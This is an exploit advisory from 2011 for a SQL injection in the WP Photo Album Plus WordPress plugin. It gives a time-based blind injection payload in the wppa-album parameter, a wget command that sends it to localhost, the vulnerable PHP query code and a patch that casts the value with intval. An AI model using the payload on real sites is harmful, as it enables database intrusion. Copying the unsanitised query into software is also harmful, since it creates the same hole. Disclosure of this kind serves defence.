84 lines
No EOL
2.7 KiB
Text
84 lines
No EOL
2.7 KiB
Text
# Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
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# Date: 2011-10-14
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# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
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# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
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# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
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# Version: 4.1.1 (tested)
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---------------
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PoC (GET data)
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---------------
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http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
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wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
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e.g.
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wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"
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---------------
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Vulnerable code
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---------------
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Line 76 of wppa-functions.php:
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if ( $this_occur ) $alb = wppa_get_get('album');
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if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];
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$separate = wppa_is_separate($alb);
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$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&wppa-slide' : '';
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Line 3170 of wppa-functions.php:
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function wppa_get_get($index, $default = false) {
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#xdebug_start_trace('/var/www/xdebug.log');
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if (isset($_GET['wppa-'.$index])) { // New syntax first
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return $_GET['wppa-'.$index];
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}
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if (isset($_GET[$index])) { // Old syntax
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return $_GET[$index];
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}
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return $default;
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}
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Line 3362 of wppa-functions.php:
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function wppa_get_album_title_linktype($alb) {
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global $wpdb;
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if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
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else $result = '';
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echo $result;
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return $result;
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}
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---------------
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Patch
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---------------
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*** ./wppa-functions.php 2011-10-03 09:37:48.000000000 -0400
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--- ./wppa-functions.php.new 2011-10-15 16:02:27.996945496 -0400
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***************
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*** 3361,3367 ****
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function wppa_get_album_title_linktype($alb) {
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global $wpdb;
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!
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if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
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else $result = '';
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//echo $result;
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--- 3361,3367 ----
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function wppa_get_album_title_linktype($alb) {
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global $wpdb;
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! $alb=intval($alb);
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if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
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else $result = '';
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//echo $result;
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***************
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*** 3384,3387 ****
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global $wppa;
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if ( $wppa['any'] ) echo $wppa['searchresults'];
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! }
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\ No newline at end of file
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--- 3384,3387 ----
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global $wppa;
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if ( $wppa['any'] ) echo $wppa['searchresults'];
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! } |